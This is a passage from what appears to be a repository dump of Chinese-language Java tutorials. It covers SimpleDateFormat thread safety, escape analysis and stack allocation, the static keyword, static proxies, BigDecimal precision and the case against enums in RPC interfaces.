//时间增加\n            calendar.add(Calendar.DATE, finalI);\n            //通过simpleDateFormat把时间转换成字符串\n            String dateString = simpleDateFormat.format(calendar.getTime());\n            //把字符串放入Set中\n            dates.add(dateString);\n            //countDown\n            countDownLatch.countDown();\n        });\n    }\n    \n\nSimpleDateFormat变成了局部变量，就不会被多个线程同时访问到了，就避免了线程安全问题。\n\n**加同步锁**\n\n除了改成局部变量以外，还有一种方法大家可能比较熟悉的，就是对于共享变量进行加锁。\n\n    for (int i = 0; i < 100; i++) {\n        //获取当前时间\n        Calendar calendar = Calendar.getInstance();\n        int finalI = i;\n        pool.execute(() -> {\n            //加锁\n            synchronized (simpleDateFormat) {\n                //时间增加\n                calendar.add(Calendar.DATE, finalI);\n                //通过simpleDateFormat把时间转换成字符串\n                String dateString = simpleDateFormat.format(calendar.getTime());\n                //把字符串放入Set中\n                dates.add(dateString);\n                //countDown\n                countDownLatch.countDown();\n            }\n        });\n    }\n    \n\n通过加锁，使多个线程排队顺序执行。避免了并发导致的线程安全问题。\n\n其实以上代码还有可以改进的地方，就是可以把锁的粒度再设置的小一点，可以只对`simpleDateFormat.format`这一行加锁，这样效率更高一些。\n\n**使用ThreadLocal**\n\n第三种方式，就是使用 ThreadLocal。 ThreadLocal 可以确保每个线程都可以得到单独的一个 SimpleDateFormat 的对象，那么自然也就不存在竞争问题了。\n\n    /**\n     * 使用ThreadLocal定义一个全局的SimpleDateFormat\n     */\n    private static ThreadLocal<SimpleDateFormat> simpleDateFormatThreadLocal = new ThreadLocal<SimpleDateFormat>() {\n        @Override\n        protected SimpleDateFormat initialValue() {\n            return new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n        }\n    };\n    \n    //用法\n    String dateString = simpleDateFormatThreadLocal.get().format(calendar.getTime());\n    \n\n用 ThreadLocal 来实现其实是有点类似于缓存的思路，每个线程都有一个独享的对象，避免了频繁创建对象，也避免了多线程的竞争。\n\n当然，以上代码也有改进空间，就是，其实SimpleDateFormat的创建过程可以改为延迟加载。这里就不详细介绍了。\n\n**使用DateTimeFormatter**\n\n如果是Java8应用，可以使用DateTimeFormatter代替SimpleDateFormat，这是一个线程安全的格式化工具类。就像官方文档中说的，这个类 simple beautiful strong immutable thread-safe。\n\n    //解析日期\n    String dateStr= \"2016年10月25日\";\n    DateTimeFormatter formatter = DateTimeFormatter.ofPattern(\"yyyy年MM月dd日\");\n    LocalDate date= LocalDate.parse(dateStr, formatter);\n    \n    //日期转换为字符串\n    LocalDateTime now = LocalDateTime.now();\n    DateTimeFormatter format = DateTimeFormatter.ofPattern(\"yyyy年MM月dd日 hh:mm a\");\n    String nowStr = now .format(format);\n    System.out.println(nowStr);\n    \n\n### 总结\n\n本文介绍了SimpleDateFormat的用法，SimpleDateFormat主要可以在String和Date之间做转换，还可以将时间转换成不同时区输出。同时提到在并发场景中SimpleDateFormat是不能保证线程安全的，需要开发者自己来保证其安全性。\n\n主要的几个手段有改为局部变量、使用synchronized加锁、使用Threadlocal为每一个线程单独创建一个等。\n\n希望通过此文，你可以在使用SimpleDateFormat的时候更加得心应手。\n\n [1]: https://www.hollischuang.com/wp-content/uploads/2018/11/15431240092595.jpg\n [2]: https://www.hollischuang.com/wp-content/uploads/2018/11/15431240361504.jpg\n [3]: https://www.hollischuang.com/archives/2888\n [4]: https://www.hollischuang.com/archives/290\n [5]: https://www.hollischuang.com/wp-content/uploads/2018/11/15431313894397.jpg"
  },
  {
    "path": "docs/basics/java-basic/single-double-float.md",
    "content": "单精度浮点数在计算机存储器中占用4个字节（32 bits），利用“浮点”（浮动小数点）的方法，可以表示一个范围很大的数值。\n\n比起单精度浮点数，双精度浮点数(double)使用 64 位（8字节） 来存储一个浮点数。 "
  },
  {
    "path": "docs/basics/java-basic/spi-principle.md",
    "content": "看ServiceLoader类的签名类的成员变量：\n\n    public final class ServiceLoader<S> implements Iterable<S>{\n    private static final String PREFIX = \"META-INF/services/\";\n    \n        // 代表被加载的类或者接口\n        private final Class<S> service;\n    \n        // 用于定位，加载和实例化providers的类加载器\n        private final ClassLoader loader;\n    \n        // 创建ServiceLoader时采用的访问控制上下文\n        private final AccessControlContext acc;\n    \n        // 缓存providers，按实例化的顺序排列\n        private LinkedHashMap<String,S> providers = new LinkedHashMap<>();\n    \n        // 懒查找迭代器\n        private LazyIterator lookupIterator;\n    \n        ......\n    }\n    \n参考具体源码，梳理了一下，实现的流程如下：\n\n1 应用程序调用ServiceLoader.load方法\n\nServiceLoader.load方法内先创建一个新的ServiceLoader，并实例化该类中的成员变量，包括：\n\nloader(ClassLoader类型，类加载器)\n\nacc(AccessControlContext类型，访问控制器)\n\nproviders(LinkedHashMap类型，用于缓存加载成功的类)\n\nlookupIterator(实现迭代器功能)\n\n2 应用程序通过迭代器接口获取对象实例\n\nServiceLoader先判断成员变量providers对象中(LinkedHashMap类型)是否有缓存实例对象，如果有缓存，直接返回。\n如果没有缓存，执行类的装载：\n\n读取META-INF/services/下的配置文件，获得所有能被实例化的类的名称\n\n通过反射方法Class.forName()加载类对象，并用instance()方法将类实例化\n\n把实例化后的类缓存到providers对象中(LinkedHashMap类型）\n\n然后返回实例对象。"
  },
  {
    "path": "docs/basics/java-basic/stack-alloc.md",
    "content": "### JVM内存分配策略\n\n关于JVM的内存结构及内存分配方式，不是本文的重点，这里只做简单回顾。以下是我们知道的一些常识：\n\n1、根据Java虚拟机规范，Java虚拟机所管理的内存包括方法区、虚拟机栈、本地方法栈、堆、程序计数器等。\n\n2、我们通常认为JVM中运行时数据存储包括堆和栈。这里所提到的栈其实指的是虚拟机栈，或者说是虚拟栈中的局部变量表。\n\n3、栈中存放一些基本类型的变量数据（int/short/long/byte/float/double/Boolean/char）和对象引用。\n\n4、堆中主要存放对象，即通过new关键字创建的对象。\n\n5、数组引用变量是存放在栈内存中，数组元素是存放在堆内存中。\n\n在《深入理解Java虚拟机中》关于Java堆内存有这样一段描述：\n\n但是，随着JIT编译期的发展与逃逸分析技术逐渐成熟，栈上分配、标量替换优化技术将会导致一些微妙的变化，所有的对象都分配到堆上也渐渐变得不那么“绝对”了。\n\n这里只是简单提了一句，并没有深入分析，很多人看到这里由于对JIT、逃逸分析等技术不了解，所以也无法真正理解上面这段话的含义。\n\n**PS：这里默认大家都了解什么是JIT，不了解的朋友可以先自行Google了解下，或者加入我的知识星球，阅读那篇球友专享文章。**\n\n其实，在编译期间，JIT会对代码做很多优化。其中有一部分优化的目的就是减少内存堆分配压力，其中一种重要的技术叫做**逃逸分析**。\n\n### 逃逸分析\n\n逃逸分析(Escape Analysis)是目前Java虚拟机中比较前沿的优化技术。这是一种可以有效减少Java 程序中同步负载和内存堆分配压力的跨函数全局数据流分析算法。通过逃逸分析，Java Hotspot编译器能够分析出一个新的对象的引用的使用范围从而决定是否要将这个对象分配到堆上。\n\n逃逸分析的基本行为就是分析对象动态作用域：当一个对象在方法中被定义后，它可能被外部方法所引用，例如作为调用参数传递到其他地方中，称为方法逃逸。\n\n例如：\n\n    public static StringBuffer craeteStringBuffer(String s1, String s2) {\n        StringBuffer sb = new StringBuffer();\n        sb.append(s1);\n        sb.append(s2);\n        return sb;\n    }\n    \n\nStringBuffer sb是一个方法内部变量，上述代码中直接将sb返回，这样这个StringBuffer有可能被其他方法所改变，这样它的作用域就不只是在方法内部，虽然它是一个局部变量，称其逃逸到了方法外部。甚至还有可能被外部线程访问到，譬如赋值给类变量或可以在其他线程中访问的实例变量，称为线程逃逸。\n\n上述代码如果想要StringBuffer sb不逃出方法，可以这样写：\n\n    public static String createStringBuffer(String s1, String s2) {\n        StringBuffer sb = new StringBuffer();\n        sb.append(s1);\n        sb.append(s2);\n        return sb.toString();\n    }\n    \n\n不直接返回 StringBuffer，那么StringBuffer将不会逃逸出方法。\n\n使用逃逸分析，编译器可以对代码做如下优化：\n\n一、同步省略。如果一个对象被发现只能从一个线程被访问到，那么对于这个对象的操作可以不考虑同步。\n\n二、将堆分配转化为栈分配。如果一个对象在子程序中被分配，要使指向该对象的指针永远不会逃逸，对象可能是栈分配的候选，而不是堆分配。\n\n三、分离对象或标量替换。有的对象可能不需要作为一个连续的内存结构存在也可以被访问到，那么对象的部分（或全部）可以不存储在内存，而是存储在CPU寄存器中。\n\n上面的关于同步省略的内容，我在《[深入理解多线程（五）—— Java虚拟机的锁优化技术][1]》中有介绍过，即锁优化中的锁消除技术，依赖的也是逃逸分析技术。\n\n本文，主要来介绍逃逸分析的第二个用途：将堆分配转化为栈分配。\n\n> 其实，以上三种优化中，栈上内存分配其实是依靠标量替换来实现的。由于不是本文重点，这里就不展开介绍了。如果大家感兴趣，我后面专门出一篇文章，全面介绍下逃逸分析。\n\n在Java代码运行时，通过JVM参数可指定是否开启逃逸分析， `-XX:+DoEscapeAnalysis` ： 表示开启逃逸分析 `-XX:-DoEscapeAnalysis` ： 表示关闭逃逸分析 从jdk 1.7开始已经默认开始逃逸分析，如需关闭，需要指定`-XX:-DoEscapeAnalysis`\n\n### 对象的栈上内存分配\n\n我们知道，在一般情况下，对象和数组元素的内存分配是在堆内存上进行的。但是随着JIT编译器的日渐成熟，很多优化使这种分配策略并不绝对。JIT编译器就可以在编译期间根据逃逸分析的结果，来决定是否可以将对象的内存分配从堆转化为栈。\n\n我们来看以下代码：\n\n    public static void main(String[] args) {\n        long a1 = System.currentTimeMillis();\n        for (int i = 0; i < 1000000; i++) {\n            alloc();\n        }\n        // 查看执行时间\n        long a2 = System.currentTimeMillis();\n        System.out.println(\"cost \" + (a2 - a1) + \" ms\");\n        // 为了方便查看堆内存中对象个数，线程sleep\n        try {\n            Thread.sleep(100000);\n        } catch (InterruptedException e1) {\n            e1.printStackTrace();\n        }\n    }\n    \n    private static void alloc() {\n        User user = new User();\n    }\n    \n    static class User {\n    \n    }\n    \n\n其实代码内容很简单，就是使用for循环，在代码中创建100万个User对象。\n\n**我们在alloc方法中定义了User对象，但是并没有在方法外部引用他。也就是说，这个对象并不会逃逸到alloc外部。经过JIT的逃逸分析之后，就可以对其内存分配进行优化。**\n\n我们指定以下JVM参数并运行：\n\n    -Xmx4G -Xms4G -XX:-DoEscapeAnalysis -XX:+PrintGCDetails -XX:+HeapDumpOnOutOfMemoryError \n    \n\n在程序打印出 `cost XX ms` 后，代码运行结束之前，我们使用`[jmap][1]`命令，来查看下当前堆内存中有多少个User对象：\n\n    ➜  ~ jps\n    2809 StackAllocTest\n    2810 Jps\n    ➜  ~ jmap -histo 2809\n    \n     num     #instances         #bytes  class name\n    ----------------------------------------------\n       1:           524       87282184  [I\n       2:       1000000       16000000  StackAllocTest$User\n       3:          6806        2093136  [B\n       4:          8006        1320872  [C\n       5:          4188         100512  java.lang.String\n       6:           581          66304  java.lang.Class\n    \n\n从上面的jmap执行结果中我们可以看到，堆中共创建了100万个`StackAllocTest$User`实例。\n\n在关闭逃避分析的情况下（-XX:-DoEscapeAnalysis），虽然在alloc方法中创建的User对象并没有逃逸到方法外部，但是还是被分配在堆内存中。也就说，如果没有JIT编译器优化，没有逃逸分析技术，正常情况下就应该是这样的。即所有对象都分配到堆内存中。\n\n接下来，我们开启逃逸分析，再来执行下以上代码。\n\n    -Xmx4G -Xms4G -XX:+DoEscapeAnalysis -XX:+PrintGCDetails -XX:+HeapDumpOnOutOfMemoryError \n    \n\n在程序打印出 `cost XX ms` 后，代码运行结束之前，我们使用`jmap`命令，来查看下当前堆内存中有多少个User对象：\n\n    ➜  ~ jps\n    709\n    2858 Launcher\n    2859 StackAllocTest\n    2860 Jps\n    ➜  ~ jmap -histo 2859\n    \n     num     #instances         #bytes  class name\n    ----------------------------------------------\n       1:           524      101944280  [I\n       2:          6806        2093136  [B\n       3:         83619        1337904  StackAllocTest$User\n       4:          8006        1320872  [C\n       5:          4188         100512  java.lang.String\n       6:           581          66304  java.lang.Class\n    \n\n从以上打印结果中可以发现，开启了逃逸分析之后（-XX:+DoEscapeAnalysis），在堆内存中只有8万多个`StackAllocTest$User`对象。也就是说在经过JIT优化之后，堆内存中分配的对象数量，从100万降到了8万。\n\n> 除了以上通过jmap验证对象个数的方法以外，读者还可以尝试将堆内存调小，然后执行以上代码，根据GC的次数来分析，也能发现，开启了逃逸分析之后，在运行期间，GC次数会明显减少。正是因为很多堆上分配被优化成了栈上分配，所以GC次数有了明显的减少。\n\n### 总结\n\n所以，如果以后再有人问你：是不是所有的对象和数组都会在堆内存分配空间？\n\n那么你可以告诉他：不一定，随着JIT编译器的发展，在编译期间，如果JIT经过逃逸分析，发现有些对象没有逃逸出方法，那么有可能堆内存分配会被优化成栈内存分配。但是这也并不是绝对的。就像我们前面看到的一样，在开启逃逸分析之后，也并不是所有User对象都没有在堆上分配。\n\n [1]: http://www.hollischuang.com/archives/2344"
  },
  {
    "path": "docs/basics/java-basic/static-in-java.md",
    "content": "static表示“静态”的意思，用来修饰成员变量和成员方法，也可以形成静态static代码块\n\n### 静态变量\n\n我们用static表示变量的级别，一个类中的静态变量，不属于类的对象或者实例。因为静态变量与所有的对象实例共享，因此他们不具线程安全性。\n\n通常，静态变量常用final关键来修饰，表示通用资源或可以被所有的对象所使用。如果静态变量未被私有化，可以用“类名.变量名”的方式来使用。\n\n    //static variable example\n    private static int count;\n    public static String str;\n\n### 静态方法\n\n与静态变量一样，静态方法是属于类而不是实例。\n\n一个静态方法只能使用静态变量和调用静态方法。通常静态方法通常用于想给其他的类使用而不需要创建实例。例如：Collections class(类集合)。\n\nJava的包装类和实用类包含许多静态方法。main()方法就是Java程序入口点，是静态方法。\n\n    //static method example\n    public static void setCount(int count) {\n        if(count &gt; 0)\n        StaticExample.count = count;\n    }\n    \n    //static util method\n    public static int addInts(int i, int...js){\n        int sum=i;\n        for(int x : js) sum+=x;\n        return sum;\n    }\n    \n从Java8以上版本开始也可以有接口类型的静态方法了。\n\n### 静态代码块\n\nJava的静态块是一组指令在类装载的时候在内存中由Java ClassLoader执行。\n\n静态块常用于初始化类的静态变量。大多时候还用于在类装载时候创建静态资源。\n\nJava不允许在静态块中使用非静态变量。一个类中可以有多个静态块，尽管这似乎没有什么用。静态块只在类装载入内存时，执行一次。\n\n    static{\n        //can be used to initialize resources when class is loaded\n        System.out.println(&quot;StaticExample static block&quot;);\n        //can access only static variables and methods\n        str=&quot;Test&quot;;\n        setCount(2);\n    }\n    \n### 静态类\n\nJava可以嵌套使用静态类，但是静态类不能用于嵌套的顶层。\n\n静态嵌套类的使用与其他顶层类一样，嵌套只是为了便于项目打包。\n\n\n原文地址：https://zhuanlan.zhihu.com/p/26819685"
  },
  {
    "path": "docs/basics/java-basic/static-proxy.md",
    "content": "所谓静态代理，就是代理类是由程序员自己编写的，在编译期就确定好了的。来看下下面的例子：\n```\npublic interface HelloSerivice {\n    public void say();\n}\n\npublic class HelloSeriviceImpl implements HelloSerivice{\n\n    @Override\n    public void say() {\n        System.out.println(\"hello world\");\n    }\n}\n```\n上面的代码比较简单，定义了一个接口和其实现类。这就是代理模式中的目标对象和目标对象的接口。接下来定义代理对象。\n```\npublic class HelloSeriviceProxy implements HelloSerivice{\n\n    private HelloSerivice target;\n    public HelloSeriviceProxy(HelloSerivice target) {\n        this.target = target;\n    }\n\n    @Override\n    public void say() {\n        System.out.println(\"记录日志\");\n        target.say();\n        System.out.println(\"清理数据\");\n    }\n}\n```\n上面就是一个代理类，他也实现了目标对象的接口，并且扩展了say方法。下面是一个测试类：\n```\npublic class Main {\n    @Test\n    public void testProxy(){\n        //目标对象\n        HelloSerivice target = new HelloSeriviceImpl();\n        //代理对象\n        HelloSeriviceProxy proxy = new HelloSeriviceProxy(target);\n        proxy.say();\n    }\n}\n```\n\n// 记录日志\n// hello world\n// 清理数据\n\n\n这就是一个简单的静态的代理模式的实现。代理模式中的所有角色（代理对象、目标对象、目标对象的接口）等都是在编译期就确定好的。\n\n静态代理的用途  \n\n1.控制真实对象的访问权限：通过代理对象控制真实对象的使用权限。\n\n2.避免创建大对象：通过使用一个代理小对象来代表一个真实的大对象，可以减少系统资源的消耗，对系统进行优化并提高运行速度。\n\n3.增强真实对象的功能：这个比较简单，通过代理可以在调用真实对象的方法的前后增加额外功能。\n"
  },
  {
    "path": "docs/basics/java-basic/stop-create-bigdecimal-with-double.md",
    "content": "很多人都知道，在进行金额表示、金额计算等场景，不能使用double、float等类型，而是要使用对精度支持的更好的BigDecimal。\n\n所以，很多支付、电商、金融等业务中，BigDecimal的使用非常频繁。**但是，如果误以为只要使用BigDecimal表示数字，结果就一定精确，那就大错特错了！**\n\n在之前的一篇文章中，我们介绍过，使用BigDecimal的equals方法并不能验证两个数是否真的相等（[为什么阿里巴巴禁止使用BigDecimal的equals方法做等值比较？][1]）。\n\n除了这个情况，BigDecimal的使用的第一步就是创建一个BigDecimal对象，如果这一步都有问题，那么后面怎么算都是错的！\n\n那到底应该如何正确的创建一个BigDecimal？\n\n**关于这个问题，我Review过很多代码，也面试过很多一线开发，很多人都掉进坑里过。这是一个很容易被忽略，但是又影响重大的问题。**\n\n关于这个问题，在《阿里巴巴Java开发手册》中有一条建议，或者说是要求：\n\n![][2]￼\n\n这是一条【强制】建议，那么，这背后的原理是什么呢？\n\n想要搞清楚这个问题，主要需要弄清楚以下几个问题：\n\n1、为什么说double不精确？ 2、BigDecimal是如何保证精确的？\n\n在知道这两个问题的答案之后，我们也就大概知道为什么不能使用BigDecimal(double)来创建一个BigDecimal了。\n\n### double为什么不精确\n\n首先，**计算机是只认识二进制的**，即0和1，这个大家一定都知道。\n\n那么，所有数字，包括整数和小数，想要在计算机中存储和展示，都需要转成二进制。\n\n**十进制整数转成二进制很简单，通常采用\"除2取余，逆序排列\"即可，如10的二进制为1010。**\n\n但是，小数的二进制如何表示呢？\n\n十进制小数转成二进制，一般采用\"乘2取整，顺序排列\"方法，如0.625转成二进制的表示为0.101。\n\n但是，并不是所有小数都能转成二进制，如0.1就不能直接用二进制表示，他的二进制是0.000110011001100… 这是一个无限循环小数。\n\n**所以，计算机是没办法用二进制精确的表示0.1的。也就是说，在计算机中，很多小数没办法精确的使用二进制表示出来。**\n\n那么，这个问题总要解决吧。那么，**人们想出了一种采用一定的精度，使用近似值表示一个小数的办法**。这就是IEEE 754（IEEE二进制浮点数算术标准）规范的主要思想。\n\nIEEE 754规定了多种表示浮点数值的方式，其中最常用的就是32位单精度浮点数和64位双精度浮点数。\n\n在Java中，使用float和double分别用来表示单精度浮点数和双精度浮点数。\n\n所谓精度不同，可以简单的理解为保留有效位数不同。采用保留有效位数的方式近似的表示小数。\n\n所以，大家也就知道为什么**double表示的小数不精确**了。\n\n接下来，再回到BigDecimal的介绍，我们接下来看看是如何表示一个数的，他如何保证精确呢？\n\n### BigDecimal如何精确计数？\n\n如果大家看过BigDecimal的源码，其实可以发现，**实际上一个BigDecimal是通过一个\"无标度值\"和一个\"标度\"来表示一个数的。**\n\n在BigDecimal中，标度是通过scale字段来表示的。\n\n而无标度值的表示比较复杂。当unscaled value超过阈值(默认为Long.MAX_VALUE)时采用intVal字段存储unscaled value，intCompact字段存储Long.MIN_VALUE，否则对unscaled value进行压缩存储到long型的intCompact字段用于后续计算，intVal为空。\n\n涉及到的字段就是这几个：\n\n    public class BigDecimal extends Number implements Comparable<BigDecimal> {\n        private final BigInteger intVal;\n        private final int scale; \n        private final transient long intCompact;\n    }\n    \n\n关于无标度值的压缩机制大家了解即可，不是本文的重点，大家只需要知道BigDecimal主要是通过一个无标度值和标度来表示的就行了。\n\n**那么标度到底是什么呢？**\n\n除了scale这个字段，在BigDecimal中还提供了scale()方法，用来返回这个BigDecimal的标度。\n\n    /**\n     * Returns the <i>scale</i> of this {@code BigDecimal}.  If zero\n     * or positive, the scale is the number of digits to the right of\n     * the decimal point.  If negative, the unscaled value of the\n     * number is multiplied by ten to the power of the negation of the\n     * scale.  For example, a scale of {@code -3} means the unscaled\n     * value is multiplied by 1000.\n     *\n     * @return the scale of this {@code BigDecimal}.\n     */\n    public int scale() {\n        return scale;\n    }\n    \n\n那么，scale到底表示的是什么，其实上面的注释已经说的很清楚了：\n\n> 如果scale为零或正值，则该值表示这个数字小数点右侧的位数。如果scale为负数，则该数字的真实值需要乘以10的该负数的绝对值的幂。例如，scale为-3，则这个数需要乘1000，即在末尾有3个0。\n\n如123.123，那么如果使用BigDecimal表示，那么他的无标度值为123123，他的标度为3。\n\n**而二进制无法表示的0.1，使用BigDecimal就可以表示了，及通过无标度值1和标度1来表示。**\n\n我们都知道，想要创建一个对象，需要使用该类的构造方法，在BigDecimal中一共有以下4个构造方法：\n\n    BigDecimal(int)\n    BigDecimal(double) \n    BigDecimal(long) \n    BigDecimal(String)\n    \n\n以上四个方法，创建出来的的BigDecimal的标度（scale）是不同的。\n\n其中 BigDecimal(int)和BigDecimal(long) 比较简单，因为都是整数，所以他们的标度都是0。\n\n而BigDecimal(double) 和BigDecimal(String)的标度就有很多学问了。\n\n### BigDecimal(double)有什么问题\n\nBigDecimal中提供了一个通过double创建BigDecimal的方法——BigDecimal(double) ，但是，同时也给我们留了一个坑！\n\n因为我们知道，double表示的小数是不精确的，如0.1这个数字，double只能表示他的近似值。\n\n所以，**当我们使用new BigDecimal(0.1)创建一个BigDecimal 的时候，其实创建出来的值并不是正好等于0.1的。**\n\n而是0.1000000000000000055511151231257827021181583404541015625。这是因为doule自身表示的只是一个近似值。\n\n![][3]￼\n\n**所以，如果我们在代码中，使用BigDecimal(double) 来创建一个BigDecimal的话，那么是损失了精度的，这是极其严重的。**\n\n### 使用BigDecimal(String)创建\n\n那么，该如何创建一个精确的BigDecimal来表示小数呢，答案是使用String创建。\n\n而对于BigDecimal(String) ，当我们使用new BigDecimal(\"0.1\")创建一个BigDecimal 的时候，其实创建出来的值正好就是等于0.1的。\n\n那么他的标度也就是1。\n\n但是需要注意的是，new BigDecimal(\"0.10000\")和new BigDecimal(\"0.1\")这两个数的标度分别是5和1，如果使用BigDecimal的equals方法比较，得到的结果是false，具体原因和解决办法参考[为什么阿里巴巴禁止使用BigDecimal的equals方法做等值比较？][1]\n\n那么，想要创建一个能精确的表示0.1的BigDecimal，请使用以下两种方式：\n\n    BigDecimal recommend1 = new BigDecimal(\"0.1\");\n    BigDecimal recommend2 = BigDecimal.valueOf(0.1);\n    \n\n这里，留一个思考题，BigDecimal.valueOf()是调用Double.toString方法实现的，那么，既然double都是不精确的，BigDecimal.valueOf(0.1)怎么保证精确呢？\n\n### 总结\n\n因为计算机采用二进制处理数据，但是很多小数，如0.1的二进制是一个无线循环小数，而这种数字在计算机中是无法精确表示的。\n\n所以，人们采用了一种通过近似值的方式在计算机中表示，于是就有了单精度浮点数和双精度浮点数等。\n\n所以，作为单精度浮点数的float和双精度浮点数的double，在表示小数的时候只是近似值，并不是真实值。\n\n所以，当使用BigDecimal(Double)创建一个的时候，得到的BigDecimal是损失了精度的。\n\n而使用一个损失了精度的数字进行计算，得到的结果也是不精确的。\n\n想要避免这个问题，可以通过BigDecimal(String)的方式创建BigDecimal，这样的情况下，0.1就会被精确的表示出来。\n\n其表现形式是一个无标度数值1，和一个标度1的组合。\n\n [1]: https://mp.weixin.qq.com/s/iiZW9xr1Xb2JIaRFnWLZUg\n [2]: https://www.hollischuang.com/wp-content/uploads/2021/01/16119907257353.jpg\n [3]: https://www.hollischuang.com/wp-content/uploads/2021/01/16119945021181.jpg"
  },
  {
    "path": "docs/basics/java-basic/stop-use-enum-in-api.md",
    "content": "最近，我们的线上环境出现了一个问题，线上代码在执行过程中抛出了一个IllegalArgumentException，分析堆栈后，发现最根本的的异常是以下内容：\n\n    java.lang.IllegalArgumentException: \n    No enum constant com.a.b.f.m.a.c.AType.P_M\n    \n\n大概就是以上的内容，看起来还是很简单的，提示的错误信息就是在AType这个枚举类中没有找到P_M这个枚举项。\n\n于是经过排查，我们发现，在线上开始有这个异常之前，该应用依赖的一个下游系统有发布，而发布过程中是一个API包发生了变化，主要变化内容是在一个RPC接口的Response返回值类中的一个枚举参数AType中增加了P_M这个枚举项。\n\n但是下游系统发布时，并未通知到我们负责的这个系统进行升级，所以就报错了。\n\n我们来分析下为什么会发生这样的情况。\n\n### 问题重现\n\n首先，下游系统A提供了一个二方库的某一个接口的返回值中有一个参数类型是枚举类型。\n\n> 一方库指的是本项目中的依赖 二方库指的是公司内部其他项目提供的依赖 三方库指的是其他组织、公司等来自第三方的依赖\n\n    public interface AFacadeService {\n    \n        public AResponse doSth(ARequest aRequest);\n    }\n    \n    public Class AResponse{\n    \n        private Boolean success;\n    \n        private AType aType;\n    }\n    \n    public enum AType{\n    \n        P_T,\n    \n        A_B\n    }\n    \n\n然后B系统依赖了这个二方库，并且会通过RPC远程调用的方式调用AFacadeService的doSth方法。\n\n    public class BService {\n    \n        @Autowired\n        AFacadeService aFacadeService;\n    \n        public void doSth(){\n            ARequest aRequest = new ARequest();\n    \n            AResponse aResponse = aFacadeService.doSth(aRequest);\n    \n            AType aType = aResponse.getAType();\n        }\n    }\n    \n\n这时候，如果A和B系统依赖的都是同一个二方库的话，两者使用到的枚举AType会是同一个类，里面的枚举项也都是一致的，这种情况不会有什么问题。\n\n但是，如果有一天，这个二方库做了升级，在AType这个枚举类中增加了一个新的枚举项P_M，这时候只有系统A做了升级，但是系统B并没有做升级。\n\n那么A系统依赖的的AType就是这样的：\n\n    public enum AType{\n    \n        P_T,\n    \n        A_B,\n    \n        P_M\n    }\n    \n\n而B系统依赖的AType则是这样的：\n\n    public enum AType{\n    \n        P_T,\n    \n        A_B\n    }\n    \n\n这种情况下**，在B系统通过RPC调用A系统的时候，如果A系统返回的AResponse中的aType的类型位新增的P_M时候，B系统就会无法解析。一般在这种时候，RPC框架就会发生反序列化异常。导致程序被中断。**\n\n### 原理分析\n\n这个问题的现象我们分析清楚了，那么再来看下原理是怎样的，为什么出现这样的异常呢。\n\n其实这个原理也不难，这类**RPC框架大多数会采用JSON的格式进行数据传输**，也就是客户端会将返回值序列化成JSON字符串，而服务端会再将JSON字符串反序列化成一个Java对象。\n\n而JSON在反序列化的过程中，对于一个枚举类型，会尝试调用对应的枚举类的valueOf方法来获取到对应的枚举。\n\n而我们查看枚举类的valueOf方法的实现时，就可以发现，**如果从枚举类中找不到对应的枚举项的时候，就会抛出IllegalArgumentException**：\n\n    public static <T extends Enum<T>> T valueOf(Class<T> enumType,\n                                                String name) {\n        T result = enumType.enumConstantDirectory().get(name);\n        if (result != null)\n            return result;\n        if (name == null)\n            throw new NullPointerException(\"Name is null\");\n        throw new IllegalArgumentException(\n            \"No enum constant \" + enumType.getCanonicalName() + \".\" + name);\n    }\n    \n\n关于这个问题，其实在《阿里巴巴Java开发手册》中也有类似的约定：\n\n![-w1538][1]￼\n\n这里面规定\"**对于二方库的参数可以使用枚举，但是返回值不允许使用枚举**\"。这背后的思考就是本文上面提到的内容。\n\n### 扩展思考\n\n**为什么参数中可以有枚举？**\n\n不知道大家有没有想过这个问题，其实这个就和二方库的职责有点关系了。\n\n一般情况下，A系统想要提供一个远程接口给别人调用的时候，就会定义一个二方库，告诉其调用方如何构造参数，调用哪个接口。\n\n而这个二方库的调用方会根据其中定义的内容来进行调用。而参数的构造过程是由B系统完成的，如果B系统使用到的是一个旧的二方库，使用到的枚举自然是已有的一些，新增的就不会被用到，所以这样也不会出现问题。\n\n比如前面的例子，B系统在调用A系统的时候，构造参数的时候使用到AType的时候就只有P_T和A_B两个选项，虽然A系统已经支持P_M了，但是B系统并没有使用到。\n\n如果B系统想要使用P_M，那么就需要对该二方库进行升级。\n\n但是，返回值就不一样了，返回值并不受客户端控制，服务端返回什么内容是根据他自己依赖的二方库决定的。\n\n但是，其实相比较于手册中的规定，**我更加倾向于，在RPC的接口中入参和出参都不要使用枚举。**\n\n一般，我们要使用枚举都是有几个考虑：\n\n*   1、枚举严格控制下游系统的传入内容，避免非法字符。\n\n*   2、方便下游系统知道都可以传哪些值，不容易出错。\n\n不可否认，使用枚举确实有一些好处，但是我不建议使用主要有以下原因：\n\n*   1、如果二方库升级，并且删除了一个枚举中的部分枚举项，那么入参中使用枚举也会出现问题，调用方将无法识别该枚举项。\n\n*   2、有的时候，上下游系统有多个，如C系统通过B系统间接调用A系统，A系统的参数是由C系统传过来的，B系统只是做了一个参数的转换与组装。这种情况下，一旦A系统的二方库升级，那么B和C都要同时升级，任何一个不升级都将无法兼容。\n\n**我其实建议大家在接口中使用字符串代替枚举**，相比较于枚举这种强类型，字符串算是一种弱类型。\n\n如果使用字符串代替RPC接口中的枚举，那么就可以避免上面我们提到的两个问题，上游系统只需要传递字符串就行了，而具体的值的合法性，只需要在A系统内自己进行校验就可以了。\n\n**为了方便调用者使用，可以使用javadoc的@see注解表明这个字符串字段的取值从那个枚举中获取。**\n\n    public Class AResponse{\n    \n        private Boolean success;\n    \n        /**\n        *  @see AType \n        */\n        private String aType;\n    }\n    